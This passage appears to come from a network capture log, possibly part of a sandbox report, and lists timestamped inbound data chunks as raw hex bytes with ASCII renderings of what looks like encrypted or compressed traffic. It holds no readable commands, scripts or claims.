2021-12-28 04:19:41 UTC	2860	IN	Data Raw: c5 28 e0 3e 0b 2d a0 15 92 07 ed a3 d1 7c 9b 8d a6 70 42 c9 64 90 e0 4c 64 7e ce 7b b4 e7 55 8c 6b cb f2 a3 00 b6 96 96 1d 5a e7 37 d0 33 28 06 81 06 45 7c 63 3b a7 34 16 0d 68 e7 95 5a 51 02 db a2 c4 f3 b4 84 ff a6 49 7d 89 c8 16 23 c3 27 e4 5a 69 8b fd e9 56 bb aa 5e 6f 05 b0 76 23 1c dc b2 6f bd a2 23 97 42 a7 c9 f2 9d f1 94 a2 30 07 cd 02 00 2c 4d 38 55 df 5b 1d 1e 8f e4 2f 68 89 48 a3 bf 39 ec 8a 74 b0 0a d2 b7 37 02 4e d6 f6 04 6c 9d ac 0d 58 1d 00 35 17 4f 7c 54 32 f4 4b 3d f2 bb 35 e1 fc 16 e0 e0 14 03 f7 0a 30 0e 69 48 e7 00 25 92 15 5d 34 31 79 e0 7e c9 3a 91 fd 40 f4 07 ec fe fa a8 57 8b fc ef 15 8e de c0 2f c9 ad 87 3a 44 d1 07 af 01 2a 0d df e2 fb 69 b2 aa 1b f9 da 97 e4 2d 37 c3 1c 5c df 99 b9 e5 cf a8 82 9c 2a 50 b2 80 b3 da 55 cf a4 ca 55 Data Ascii: (>-\|pBdLd~{UkZ73(E\|c;4hZQI}#'ZiV^ov#o#B0,M8U[/hH9t7NlX5O\|T2K=50iH%]41y~:@W/:Di-7\PUU
2021-12-28 04:19:41 UTC	2876	IN	Data Raw: 92 31 c9 cc 9d aa 64 d8 86 61 03 27 aa 29 b1 e1 e3 18 4b 5c cb 8a 27 75 e1 3b 51 6c 6e 7b d3 ad 36 d2 68 83 3e e5 ea 12 c9 e9 50 66 94 e3 94 b9 c6 a6 39 2f f7 fe 71 18 93 99 bd 26 05 6f eb 9c 3a a4 05 78 aa 46 ac 55 84 a5 aa 69 2e c0 27 66 f6 f9 9f d0 38 1e 56 e0 a1 d4 e8 c3 dc 68 8a b9 9c 2f ea 12 a0 f1 d5 fd 65 be e6 6b 0e e5 a8 1b 02 2e c1 16 76 14 05 79 4b 50 41 40 a8 04 76 45 bb 11 f0 8f 91 57 83 1a 2d 29 71 54 40 ad b9 d9 8c ce af 96 36 73 6a 6d 21 84 60 ab 66 8b d8 3b 19 bc 9f c7 9b 0f 92 b4 c5 2a ba ce 00 1c 12 fc 31 42 3d a3 9f c8 47 a8 8d fa 20 fb 74 bf df 84 ba 2f 3c da 14 d2 e6 e4 38 74 1b f4 a6 76 a6 3b 3e 2e ab f7 8a 21 74 75 55 8c c2 d4 52 9b 1d d6 f7 aa cb 63 6c 39 65 bb a2 4d 0d 62 c2 d5 dd 22 f1 31 34 d2 07 0d bd e9 12 e4 3c b8 7e 07 ce Data Ascii: 1da')K\'u;Qln{6h>Pf9/q&o:xFUi.'f8Vh/ek.vyKPA@vEW-)qT@6sjm!`f;*1B=G t/<8tv;>.!tuURcl9eMb"14<~
2021-12-28 04:19:41 UTC	2892	IN	Data Raw: 3d 81 8f 6e bd 57 0b 18 a9 49 c1 9f e1 a4 75 3d 77 9b 94 13 f5 73 63 6c 7e 0e 1d bc 32 a1 be f3 da 63 64 de 8f ed 40 c5 96 a6 dd c1 30 3d 87 e7 2d 36 0f 31 da a7 5b 33 02 96 dc 46 8a 76 0b ab 01 0a 01 33 66 7a b2 7c 35 4a bc e7 2b 43 43 53 9f de 84 be 90 f1 a7 3a 03 9e f3 bb a3 72 c5 15 b9 1f 59 52 52 2e 7a 59 c3 ef d2 01 ee 48 36 3e 0b ea 77 34 e5 69 47 95 e8 03 b7 6f 4f ff dc d5 ac ab 9d e0 83 b9 bd dd 89 1c 36 97 81 6e bb 60 d1 c8 2c 2f 87 2a e6 09 e3 03 d9 a1 ba 32 54 4f 60 99 b7 55 a7 5c df 8c 0e 34 e0 83 9a 39 fa f3 88 e6 0a d9 c9 3f 56 f0 22 ca c4 fd 97 a5 1a 5d 1f 1c 6b eb 79 e0 5e f9 0f 8c 2f 0d eb 67 d1 df ce 8a 92 1d f0 8a 54 f7 3b b0 bc 9b 01 1a b2 2b 78 e7 f9 2c 5c cb d8 12 70 0e dc 8b 22 4f 1b 81 4f b8 d7 d6 30 68 81 ee 00 f5 ef 5f 47 a1 db Data Ascii: =nWIu=wscl~2cd@0=-61[3Fv3fz\|5J+CCS:rYRR.zYH6>w4iGoO6n`,/*2TO`U\49?V"]ky^/gT;+x,\p"OO0h_G
2021-12-28 04:19:41 UTC	2908	IN	Data Raw: 22 6a 4b 07 84 e7 84 90 84 c6 81 e9 ce 26 8c db 31 0f 6a e6 63 85 a1 7e 4f 20 44 d3 ff 5d 0a 68 71 bd 81 8a c6 01 83 e4 23 83 3a b6 d1 63 1e 9f b7 41 54 34 7b e0 c6 08 dd a0 65 67 07 99 cc e3 43 7e cb 86 16 d8 52 dc 9b 51 7f ee fd 32 4b b3 b6 99 eb 53 73 ef de 2e ff 3c 7a cb 7d 17 69 30 2f e4 ff 58 eb fc 95 4d 0a c6 a0 b5 11 65 a9 0e 64 f5 30 f4 e7 89 d9 91 64 dc 8f d4 ce 1b 57 74 3a 6d c9 0f 89 a4 7e 5b 8e a3 cb 86 e1 ea ef 95 10 af 09 ff c5 bd 50 f4 e7 36 73 f8 a3 95 9a 6b 3c d8 48 72 28 df 7d 76 33 52 a4 75 f8 61 a1 b2 64 fb 09 46 82 4e bd 1a 19 9f 6f 3f 57 25 1c 35 24 88 74 0a 53 38 e4 0f 9f 63 80 47 13 47 ae 92 58 68 5a 5c 83 a9 aa b4 12 6f a1 b4 f7 22 8b 0f 34 1e e4 47 11 d2 9f 85 c5 c9 3d 5b 38 aa 37 7b 7c b5 5c a9 b9 fc c8 08 c6 91 12 f1 3e 69 95 Data Ascii: "jK&1jc~O D]hq#:cAT4{egC~RQ2KSs.<z}i0/XMed0dWt:m~[P6sk<Hr(}v3RuadFNo?W%5$tS8cGGXhZ\o"4G=[87{\|\>i
2021-12-28 04:19:41 UTC	2924	IN	Data Raw: 87 c0 91 53 7e a4 04 ad bb 4c 5f 2b 82 b0 0d fd 33 94 2a 30 1b bf b5 38 64 de e0 27 59 e1 0a 87 8e 0d 29 74 5e c0 6d 73 78 83 03 8c 4e 92 18 cc 5a 06 bd 9f b8 0f f1 da bc 4d 70 16 9f 6d f5 f0 54 9e 96 da 00 46 d8 c6 a6 5e bc 49 ff 0c ca 97 67 43 2a d7 a6 7d 11 40 dc f3 cb 1f 56 2c b9 7b 97 b0 f4 74 f4 f8 ce a6 47 2d 17 64 9d 3e 4a c1 94 31 8f c6 ce 42 47 6c f0 58 dc e0 30 1c ab 4d 10 2b 63 4c e6 70 7f b1 12 90 8a ad 24 bb 0c 3f c7 9e 1d 38 13 5d 13 66 f8 04 7d 0a fc 08 be c6 ac 28 c1 62 01 29 10 30 3f 85 d7 07 71 9d 7d 1d bf 9e 62 19 4a 3a 0b 8b 65 22 16 ac f3 7a d2 75 ea a4 e4 a9 02 02 14 33 c4 f1 7c 6e 92 1c 7f 90 c8 01 48 22 65 ec dd 0d 9f 03 cb 21 99 85 62 36 31 39 a9 a3 23 43 87 1d cd ae 5f d6 de d7 7c 53 70 ed 90 28 27 0a c8 f2 f6 3f 96 a5 08 91 38 Data Ascii: S~L_+308d'Y)t^msxNZMpmTF^IgC}@V,{tG-d>J1BGlX0M+cLp$?8]f}(b)0?q}bJ:e"zu3\|nH"e!b619#C_\|Sp('?8
2021-12-28 04:19:41 UTC	2940	IN	Data Raw: 87 7d 1e bd f7 d3 57 9f 6a dd 3e ec 6b ed d5 d2 c8 98 7e 02 7d 4b 87 7d 1e 31 91 49 65 33 a5 bb fd 10 a9 c1 c8 e7 59 3d 6d f2 f4 21 6f 7a 2b 5e ac fb d2 fb 83 5c 4f 95 ae 18 d9 90 f8 44 22 d2 10 87 d2 bd 52 9c b0 6a 03 cb ea 84 95 73 4b b6 40 78 51 1c 4e 2d 29 5d 0a cc 72 53 a5 8d a2 3c 00 8e e9 7c 4f 6c 8a 93 6a f8 eb 8f 09 2c f7 5c 68 2c cb 34 bd 6b fc 82 ca b7 62 7a 74 61 bb b9 ce 3e 3b a4 96 7a 6f 86 fd ae 6d 57 09 52 c4 8f 60 b7 aa 51 4a 58 4d 3b 2b 2c 5b a3 bc 3c 28 d8 5b 56 2d fd 45 43 65 ed 35 4a 03 67 c0 cd c0 97 fe ca 7f ea ba ff dd a1 eb 62 8d ed 2a c2 b8 56 3b f7 23 43 ac 07 ff d7 c7 50 96 1e ff 03 84 e2 69 9b d9 3c ba 19 5f 6c a5 52 23 05 70 f1 64 04 ef ed 25 f2 86 6b b5 dc e7 ae e7 18 ce 2b cf 82 8c 13 8e a9 08 04 13 6e 39 2d 46 62 6a 4d ae Data Ascii: }Wj>k~}K}1Ie3Y=m!oz+^\OD"RjsK@xQN-)]rS<\|Olj,\h,4kbzta>;zomWR`QJXM;+,[<([V-ECe5Jgb*V;#CPi<_lR#pd%k+n9-FbjM
2021-12-28 04:19:41 UTC	2956	IN	Data Raw: 2f ff be b7 81 10 93 72 9e 3e 6e b5 55 65 90 44 c7 c0 dd 3f 2e e7 32 fe 86 d1 c5 6b 8e 22 79 6d 59 00 74 da 24 a2 f0 4c 9c 33 02 67 34 71 ec 8a 7b ed 3d 38 e2 35 74 02 85 ed f0 f4 b0 91 e8 74 cb 24 25 20 d6 89 12 e3 f1 6e a9 60 9a 1c 64 72 35 89 f7 95 bf eb f3 e4 e9 78 96 cf 3b f8 e1 c8 98 83 46 fa 83 72 a7 75 6c 95 b7 94 9d 09 c2 29 53 dd 21 92 c3 0d e7 ed 49 36 ab 2f 56 99 95 2c ae 4a a2 34 59 35 e6 24 06 1f 90 91 ef 40 f2 45 c3 ba c8 84 fc 5b d1 2c d5 71 1a 1d b3 ce 61 df ed 56 2d 82 64 18 1c ae 19 06 bf 70 c8 fa c8 87 a1 b1 fc 57 a2 8e 7c 3e a6 6f 75 73 1a f8 5d 08 a0 3d 29 82 0d 0f a1 92 03 9b ea 13 6e 79 7b bd aa 9f 08 11 4d 6a 2a d2 96 3e 18 43 45 e8 52 f3 b0 d0 0b a5 28 e9 3b 37 8f b4 2c 00 11 b2 9e 17 c7 88 3d 4d 37 7b 03 22 57 6f 98 27 87 5f af Data Ascii: /r>nUeD?.2k"ymYt$L3g4q{=85tt$% n`dr5x;Frul)S!I6/V,J4Y5$@E[,qaV-dpW\|>ous]=)ny{Mj*>CER(;7,=M7{"Wo'_
2021-12-28 04:19:41 UTC	2972	IN	Data Raw: 20 7d 77 b6 f7 60 db 33 3b 3e 4c 9e ac 93 0a 90 73 25 18 ca 8a 5a 72 e4 37 9b ad ce 2d 3a ee d4 71 a7 8a 71 ff 27 ea c5 87 cc 26 d4 55 9d b2 6c e3 98 94 76 88 3d 9a 73 ec cc 7e 45 da 75 14 59 7a d8 83 20 69 d4 33 ac 69 7e 79 e4 86 e6 d6 93 7b bb 66 c0 23 b2 53 ad 90 d1 96 98 eb 79 c4 06 90 92 1b 19 4f 23 4f eb 6d 12 96 25 cf 7a 12 1b 51 95 50 6b a2 fe 51 e1 7c 93 b0 7a ed 5b a4 60 60 a4 31 2f 82 ae aa 87 fc 8d 16 50 6b 45 e6 84 0b 92 05 10 a4 9a ea 38 aa ed 8f b1 0a 56 15 b8 e2 8d 6c 1d 91 e2 d2 03 e7 0d 79 ed d5 8e 37 e7 5f 05 63 fc c5 27 60 fa 05 86 e0 ed 9e 33 09 6c 9d 50 eb 89 ec 81 11 5d a2 15 fa c3 f8 16 5f 7f 8f f4 af d3 77 30 a2 2c 63 9d 1b 94 69 86 b8 f3 0b ae 2f 7e fe 9b 1e 9a 2f c0 1f 29 3f 66 63 c0 c6 06 fc 4a 26 26 31 74 49 d2 65 6a 00 35 87 Data Ascii: }w`3;>Ls%Zr7-:qq'&Ulv=s~EuYz i3i~y{f#SyO#Om%zQPkQ\|z[``1/PkE8Vly7_c'`3lP]_w0,ci/~/)?fcJ&&1tIej5
2021-12-28 04:19:41 UTC	2988	IN	Data Raw: 02 be 6b 2f 43 f5 c5 5e 5b d9 d7 80 40 12 ca 47 2b fa c5 84 19 03 85 be 2b 18 53 ac d1 9b c2 fe f6 ca 7a 8c 49 0e 97 2f 65 70 45 65 f3 5c 69 97 7c 1b 54 ac be 19 c4 85 75 60 44 eb f7 bc 9e c9 23 90 2d d0 90 76 f6 21 0d 90 b3 28 b9 85 93 22 cd 2f d9 a8 11 82 35 1e df 71 fb 13 70 84 d3 0e 72 0f 82 b7 2f f6 2a 36 b6 86 7b 91 af d2 0f 69 85 9c 84 dc 36 87 bf 1f e4 bf 24 33 69 54 13 ea bd ce 34 d3 f2 b1 ae 9d 1d 5d 91 42 69 7b 3d 8f dd 65 b3 11 e3 d8 bc 4f 38 c5 34 ac da 33 47 cf 87 29 88 e2 65 27 c6 63 05 e9 0b 03 f6 f2 25 0d 2f 79 04 64 1e b1 34 79 0e 86 c6 f8 25 f7 0b 20 44 cc 6f be c3 73 48 4f d3 5a 5f ad 18 3c e2 21 f5 02 0d 44 b1 e0 36 dd bd 07 30 b9 47 68 51 52 1a 8b 4d 80 7e be de 36 26 c5 c6 ec 2c 87 28 46 04 cd 7a 0e d3 07 87 bc 67 55 b8 95 1e f2 bf Data Ascii: k/C^[@G++SzI/epEe\i\|Tu`D#-v!("/5qpr/*6{i6$3iT4]Bi{=eO843G)e'c%/yd4y% DosHOZ_<!D60GhQRM~6&,(FzgU
2021-12-28 04:19:41 UTC	3004	IN	Data Raw: 00 b2 22 f4 4b f0 53 ea 68 ab 59 b9 2e ca c4 3c 1d 33 a8 19 d1 b3 b7 1c 28 2c 0f ae c2 d3 26 5d b6 8f ec f1 6b d2 21 05 bf 21 df 28 61 26 45 0a 2e 45 28 d2 47 21 ab bd 12 93 a0 a0 93 3f 07 63 7a 11 d6 0f fc a4 2b 41 d0 d5 46 f2 4b 2e b6 75 30 07 3e 4b 71 65 67 69 bd ee a9 89 11 d6 12 df 64 70 03 44 51 b0 0a ef 99 89 35 aa d4 5e 39 1e e0 07 81 49 ab 63 28 68 79 91 95 00 7b 21 68 2c b4 c2 8d b3 0f 93 fc 05 45 ff a6 88 89 70 7f 40 84 56 a6 4c b8 77 3f f9 0d 74 8a 81 f4 ac f0 b0 d8 a0 a0 8f 6e a2 f2 40 0b 69 3b e2 05 e4 0a ed f9 3d 54 cc e6 d3 a2 0c 00 65 20 1a df 73 6c 78 7f 9f 9d be bb 66 37 bc 91 1b 37 34 96 25 36 88 3a 56 4b 07 0d 0c e8 13 74 79 7b ff 91 76 8c 33 6a 54 be 1c b2 6e d4 c1 2d 17 ea 86 c1 64 61 48 bc 39 69 b4 b6 c8 b7 18 ef e5 f3 78 fe 51 31 Data Ascii: "KShY.<3(,&]k!!(a&E.E(G!?cz+AFK.u0>KqegidpDQ5^9Ic(hy{!h,Ep@VLw?tn@i;=Te slxf774%6:VKty{v3jTn-daH9ixQ1
2021-12-28 04:19:41 UTC	3020	IN	Data Raw: 81 40 a9 b3 82 d2 5f da 34 31 2f 37 6b 3e 98 f8 bd eb 55 92 5f 36 60 a6 ef 19 a7 50 9c 11 9e 9b 6a 03 f8 f1 ff 46 50 db d7 28 72 a6 89 f8 10 d7 23 b7 2c e5 68 55 7f 6c 4b 5f 3b 91 5d 29 89 ba ff 9b 48 ab 61 fc fe c7 3c 79 71 18 68 f0 6c 3d 95 91 42 c7 9e 77 8d 78 15 a2 2c 65 d9 be 7d 91 8d 31 52 7c a3 6c 87 ba 36 5b 0a 98 4b b2 74 18 64 73 db 85 68 e5 0c 08 40 fb 84 e0 05 c0 bb 0a 0e 2a 7f f2 5a 7b 95 60 13 4b 5f 02 9a 42 9f 22 a7 3b a5 89 0d a6 d5 50 75 d1 9a 8e 4c 81 77 a8 c9 39 39 44 d3 dd da a1 8e 45 a8 5f db 58 b7 e1 80 d7 b6 08 b1 f4 a4 6a a9 a3 82 ed 8e f4 d6 3a ce f5 64 de 3b af 34 70 92 57 4d 3d 42 1d 6d 28 77 17 ec 2c df fd a1 dd bd 90 fe 7a f3 c2 32 45 4c 3d de 98 99 c2 a8 7c 40 3a fd f8 fc 63 b6 bf 74 cc cd 8d 74 2c 5f d7 4c 08 be 4a 44 bf 2b Data Ascii: @_41/7k>U_6`PjFP(r#,hUlK_;])Ha<yqhl=Bwx,e}1R\|l6[Ktdsh@*Z{`K_B";PuLw99DE_Xj:d;4pWM=Bm(w,z2EL=\|@:ctt,_LJD+
2021-12-28 04:19:41 UTC	3036	IN	Data Raw: bc 51 64 ab 49 9e 21 49 23 1e c6 0f 8e 7f 2b 83 26 dd 67 29 35 da 76 7d 89 24 86 96 4b 62 05 da a6 f3 a7 2e 12 13 51 40 8f 0d b1 fa b9 e9 e1 cb 88 46 89 80 b0 6d 93 fb 70 fd 5a 71 40 2e d0 1a 52 07 04 da 23 ad 3e 93 24 b7 85 bf 63 f9 6d f2 80 a1 cc bf 53 0d d5 61 ee bb 29 d4 d3 4e bb 0f b2 b3 72 31 f9 63 a9 fc 93 27 c3 f1 7c 64 0d b3 08 79 d4 f2 b5 59 ca b5 ac 81 e4 71 2d 13 d9 b3 1a 09 ee 80 38 56 db 6e 2f 54 e5 d4 db 22 9a 23 a5 28 f3 b6 06 e9 6b 83 de 67 20 1b 0b 6b d6 6c 59 bd b6 73 5d f4 4a be f8 b3 1d 0b fa c4 66 1d 00 31 e5 f8 51 f2 ce 4c aa bb 0d 62 cb dc 20 b9 ac 81 08 22 da b5 34 07 18 1a 17 eb 25 90 51 e7 31 36 a9 ea 75 33 51 72 87 97 b2 11 68 1d 59 ed 15 2c cf 85 c3 ca ab 47 ac ad 97 76 1c 9e ba d1 50 32 da 98 67 2e 2c b5 d5 cc 70 02 dc ee fb Data Ascii: QdI!I#+&g)5v}$Kb.Q@FmpZq@.R#>$cmSa)Nr1c'\|dyYq-8Vn/T"#(kg klYs]Jf1QLb "4%Q16u3QrhY,GvP2g.,p
2021-12-28 04:19:41 UTC	3052	IN	Data Raw: 2a cf 73 57 e1 e8 38 ec 0f 02 b3 4e 04 8b 56 82 63 fc 98 08 45 b6 c7 e6 b9 88 2a 12 92 1b ce 0a f5 d2 80 17 c9 20 2f 8a 93 0e 19 6a 75 3f f9 b9 87 c6 d0 8e be 9e a1 83 48 91 c6 25 b7 b1 5c 76 52 94 76 fb a2 c3 b4 50 39 0f 39 09 b1 16 1b 27 0b 42 a1 bd 7b 08 7a 6b 3c 0e 07 7b f3 60 b7 e8 a0 09 f2 41 2b c5 6e 4c 45 da c7 28 c9 95 0b 0a 19 34 06 80 f5 ba e2 65 60 1c 62 d7 6f cc 10 35 09 3f 63 41 aa 13 f0 be 02 e1 7b 81 5e 15 11 21 ec 51 f6 8c 87 df e3 e0 1e 6a c3 f6 6b 8d 54 38 90 48 bc 1a e2 5c 72 e9 70 23 01 cd fa ee eb 17 aa f4 da 20 9b d5 03 9f 5c a4 ca a4 7b 2b b7 27 25 45 08 44 6a d1 cf 16 e7 d5 52 e1 4b b5 94 bd 2f 05 4a b0 e3 ba 41 7e 40 5a bc c7 20 0f 0b c1 fd 29 08 cc 05 c7 04 54 2e 15 50 a1 7f 6d df ba c2 bb bf 17 5e ad 15 61 15 40 27 ba e4 7e 0f Data Ascii: sW8NVcE /ju?H%\vRvP99'B{zk<{`A+nLE(4e`bo5?cA{^!QjkT8H\rp# \{+'%EDjRK/JA~@Z )T.Pm^a@'~
2021-12-28 04:19:41 UTC	3068	IN	Data Raw: c2 18 5d f6 d9 fb 18 bc a9 e9 f6 60 42 92 c4 4a fd 2c 5a fa d7 39 76 82 12 35 2a 03 ed 92 84 34 e2 9e c9 9c 54 9a 0c a1 34 e5 3e 3a 3f ea dd e6 36 71 a9 51 85 76 1c e9 bb 12 04 35 df 98 88 e8 59 3d 9b 67 d7 4d 9c d3 58 7d 4e 2b 77 da e1 d7 8a d1 49 b7 66 ec 62 f8 da f3 39 98 df 02 22 0e c3 17 7c e2 7f e9 f7 6e 90 85 c9 d5 21 11 0a 91 93 3f 03 b5 26 cf fc fe 90 8d af 99 94 52 eb 49 c3 11 4a 6e 8f c4 42 4b 92 59 36 35 bf 51 0e 94 a0 8d eb 48 51 7d 8f 0e ab 4a 38 a3 d6 92 08 f9 92 60 18 71 4b 25 27 1b 48 9c 0b 7e 49 89 cd 8a 62 59 0e f8 56 3c 2a 68 23 4e 82 db f1 f9 a6 05 bc 04 d8 16 f9 01 b0 f6 c7 82 ed a6 bd 61 eb 4a 7a 3d 8d b2 22 bf 95 62 0d ae 79 f5 a1 56 1d e0 72 83 7d d7 77 6d ae a6 ab 37 0b 2b 35 ab e4 4d 67 e6 c3 0d 9a d5 ac fe 0c 1e 2f 1b f7 3e f6 Data Ascii: ]`BJ,Z9v54T4>:?6qQv5Y=gMX}N+wIfb9"\|n!?&RIJnBKY65QHQ}J8`qK%'H~IbYV<h#NaJz="byVr}wm7+5Mg/>
2021-12-28 04:19:41 UTC	3084	IN	Data Raw: e8 36 0f e8 e6 88 14 c5 c8 c9 89 d6 03 32 56 f0 c5 83 1f 35 d3 1c 83 7a 48 a1 f0 c6 56 d5 49 38 57 6a ab 2f e8 c2 71 98 2b 07 21 17 78 57 1e 4e ac 27 26 1b 81 60 e6 0c 20 76 85 17 3e 3b 76 b6 b9 38 56 b1 9d 37 66 fd 92 39 c1 5a 55 02 31 2a 06 05 69 3c 4c 4c 54 34 58 ca 94 a4 56 4b 3b f6 f4 db 79 c2 ee ae f4 e4 64 7f a2 86 24 ce 82 28 9d b4 ba cd 00 9f c0 59 2b bd 01 7a d8 06 f6 3c 99 3c 9a d6 76 cc a5 bc 95 91 d0 7e f9 55 21 ba 19 5f 4d 9b de b9 4e a6 ad b6 f0 06 6b 31 6c 64 d6 5b 72 cc b8 58 f3 df 53 67 26 74 9f 40 37 d4 36 ce 09 d0 02 77 cd b9 8d b0 89 7e 0f 0c 2d d9 7e 32 e7 5f 08 e7 2a c1 9e 00 0c 55 48 cd 2b e2 ef 2c 04 ba 96 d6 dd 75 ac 71 b0 dc 86 09 85 5c e4 61 7f 5a 28 28 03 f6 97 67 93 67 5c c9 79 80 29 2e f3 0e c7 09 a3 80 62 f6 c0 2e 4f e8 27 Data Ascii: 62V5zHVI8Wj/q+!xWN'&` v>;v8V7f9ZU1i<LLT4XVK;yd$(Y+z<<v~U!_MNk1ld[rXSg&t@76w~-~2_UH+,uq\aZ((gg\y).b.O'
2021-12-28 04:19:41 UTC	3100	IN	Data Raw: b5 8d 8c 2f 3f 23 8e ae 17 f1 9e 2d db 45 59 c9 46 b8 1f 5e a4 03 78 c6 2c 76 c2 88 f2 3d 22 25 5d f4 b6 5e f0 3c 8e a4 46 dc f1 f1 fa bd 3a 94 b7 97 2a 0e ef e4 5d bf 46 ff 83 c7 4c 62 7c 23 4f 98 44 94 8f 3f e0 75 23 18 ed c0 1d f6 83 a0 6b 19 65 1d 47 41 f6 8b 9e b1 dd 34 14 23 c1 b3 bf ca 9d 21 4e 61 2c 61 95 ad d9 9b 96 e9 e9 2d 16 74 6c b3 9f bc 7a 87 3c 0e 5c 1c e1 20 31 89 d9 a6 68 70 f7 5b 2b 02 a8 52 94 64 26 e4 cf e4 a8 f1 a5 79 1b bf 01 50 b3 b7 fd 76 fb 38 72 24 92 96 31 26 9b 3d d3 24 f4 e2 8e 53 02 c2 c4 d1 48 dd 85 f5 a1 13 7f fb 03 ad fb 84 04 35 9c c4 d9 87 88 56 65 75 4c 6e 27 bf cd f2 11 40 ae 20 f8 40 de 67 df 97 59 af d7 5e fb 9c 5f fe 88 91 45 fb c6 48 d4 72 89 2a ab a6 0e c6 0c a4 80 21 aa 05 f2 73 2d 16 fb dc db 8e 62 16 ee e2 c0 Data Ascii: /?#-EYF^x,v="%]^<F:]FLb\|#OD?u#keGA4#!Na,a-tlz<\ 1hp[+Rd&yPv8r$1&=$SH5VeuLn'@ @gY^_EHr!s-b
2021-12-28 04:19:41 UTC	3116	IN	Data Raw: ab 29 cc e0 d4 df 77 0b 11 0d 7b 7c fc ca 6a 29 8f b9 23 e0 d2 4e e0 90 a1 10 37 47 65 48 be 27 b6 6b 50 b3 9e 7b ff 95 fd bb cd c5 f6 71 39 08 48 9e 9a c9 77 5a c7 61 c3 20 eb fc fd 7e 61 7e f5 a4 06 2a 88 f0 56 b2 5f 78 73 f5 e1 19 e9 c3 0c f6 48 1d 13 09 36 93 f2 39 98 b0 f6 88 81 13 67 07 f3 8b 76 d4 d6 39 1a 66 63 35 ab 66 fa 50 ca e6 ea 83 3c 2d 13 ff c8 48 81 c7 71 d9 e9 d7 b3 d1 1c cb 1c 0a 8c ec 43 39 8f a2 04 a6 d4 3c 8c 84 48 0a 03 f5 0b 34 e9 c9 71 f6 6f 63 96 5a a2 01 cf eb 49 f7 cf ba f2 8c f6 70 6f 65 9d 77 21 4f 93 b4 4e 4b 17 78 4c 60 c1 78 87 d4 cd a0 e5 cb 01 18 5e e8 bc 6e b5 a5 47 c8 dd ee d1 35 bf 23 f6 65 84 1b 0e d2 6c 54 61 f7 98 5d 9e 84 b6 bc c4 61 92 46 c7 7f c5 ad 27 af a0 58 2a 01 cc 7d 58 77 66 d8 d7 38 10 d4 6e ac 82 52 0a Data Ascii: )w{\|j)#N7GeH'kP{q9HwZa ~a~V_xsH69gv9fc5fP<-HqC9<H4qocZIpoew!ONKxL`x^nG5#elTa]aF'X}Xwf8nR
2021-12-28 04:19:41 UTC	3132	IN	Data Raw: d1 c2 49 c5 21 dd cc 78 3a 9b 56 ef 8d 9c b0 b2 34 c2 b3 3a 66 95 ba 62 78 f8 68 1b 45 47 6d e6 0d a9 b9 69 40 f7 b8 22 fc 87 1a 31 ee cd 10 46 e5 f2 94 d7 9a cc cf aa 32 d5 75 93 b8 11 e4 b0 8c 70 f8 cb b6 6f 06 50 ab e1 27 53 e6 5a 6c 18 9e ce 7b 7f b0 43 9b f8 57 23 2b 8e 21 66 e1 3f fa 62 bb cb ca 7a b6 73 58 14 48 50 fd 2e 41 21 33 a4 8b b1 22 d8 bf 19 f3 95 1b ab 08 9c 99 87 3b 16 4d f7 49 46 b7 3e 3a 7d c5 c9 db 28 02 19 fe e4 3d 28 13 c0 d4 36 a0 f7 cc 54 fd d0 00 3f 77 75 34 86 65 df 6e 3e cc 99 d3 4b 84 7e ec 7d 00 4f 3e 9c d0 b0 b0 fd 8e bf 97 8f bd ee 25 3d eb d2 95 c7 0e b6 ff 3f a6 25 20 c4 7b 3b cf 7b 4e 67 98 d5 65 a4 65 96 71 db 5c 62 f7 41 bd 19 8b 7f 46 6b bc ea 5e 1c 3e 7b 2a b4 1d ca a1 38 d5 e3 ef 4e 10 2f 4f fd 4f e0 6f 98 d5 52 4c Data Ascii: I!x:V4:fbxhEGmi@"1F2upoP'SZl{CW#+!f?bzsXHP.A!3";MIF>:}(=(6T?wu4en>K~}O>%=?% {;{Ngeeq\bAFk^>{*8N/OOoRL
2021-12-28 04:19:41 UTC	3148	IN	Data Raw: 37 77 93 bb b7 5c 68 9b 13 ad b0 11 66 80 06 f3 f4 6d 27 f6 96 32 50 d3 0b fc 57 ef 8f 64 77 1d 1d 7c 1e 32 10 f2 e6 5e 16 83 06 c0 52 d5 97 30 72 d5 a7 72 73 36 66 3b 69 4e b4 3c 10 b1 ce 74 49 f7 ee db ac 14 59 1d 68 82 3b ee ac 5b 69 85 c3 5d a8 f7 49 68 e4 8e d1 ee fa 78 a9 04 8d a9 79 d9 51 8d d2 03 5c 18 b0 b7 23 f7 a5 50 55 e3 bc 99 e8 e6 22 a6 e8 96 38 d8 22 40 15 36 ca 03 d6 81 02 6a 78 2b e6 0e 46 e1 b6 29 13 d1 a3 7b 9a fa 3d 9e 08 bb 44 08 ca 88 f3 b2 0f 49 42 66 f8 ca 52 6d 44 f6 8c b1 db de 10 dd 03 09 0a 7b 26 fb bb 7f 8e ac 59 ba a0 f5 ec 37 99 34 0f 9d 77 47 66 c1 70 62 c0 9a e7 1e 33 d4 84 7c 1e 96 4f 33 77 78 bb b8 2b fe e7 cd 9e f4 86 22 10 22 39 4d b9 2d 6c a8 9e 44 ff 3b 33 9c 42 86 b8 cc 67 c6 ee 67 35 f9 23 09 ea 91 f9 08 50 5c 4d Data Ascii: 7w\hfm'2PWdw\|2^R0rrs6f;iN<tIYh;[i]IhxyQ\#PU"8"@6jx+F){=DIBfRmD{&Y74wGfpb3\|O3wx+""9M-lD;3Bgg5#P\M
2021-12-28 04:19:41 UTC	3164	IN	Data Raw: 65 b7 8b 29 3b 01 72 0c 09 f3 a6 c5 12 03 35 61 56 97 c2 91 7d 89 76 6b 17 d2 81 70 5d ca 54 67 7b 56 3a de 47 eb b9 4b 33 90 87 33 e3 03 0d 8b 8b d8 d2 da ee 58 e5 26 27 3f 9d 18 9f e4 77 48 1f 56 4e e7 2a 62 60 fb 67 dd 97 a4 d5 46 4b 4a ab a1 21 68 b5 63 b3 81 b7 15 16 46 37 8e f8 ad 7c b4 57 fe 79 7a af b1 06 8f 42 13 87 81 41 43 ee 8d b7 7e 09 95 87 7d 79 8e 3c a7 a7 22 5c cc f7 0b 1b 6d af 2a 9b 11 75 10 80 ef 6a e5 20 73 05 f1 7f 6a d0 84 36 8b 24 b7 0a 9f 4b 39 cd e2 4e e7 25 28 12 3d 92 ba 31 ae 9d 25 4d 1d bc a0 90 f3 9f 6a 8b f8 b7 fb 12 b6 fe 18 43 63 09 f0 74 42 4c ca c7 10 ad 40 39 6e 3b 3a 88 9f 24 2d f5 43 22 b6 99 f1 2a e4 c2 a9 5d 64 48 35 1b ea 8d 5e d6 b9 16 e9 bf 05 11 36 de fc 99 b8 b6 fd 90 f3 6f fd 5a 8e df 10 54 af 24 ce 6b 15 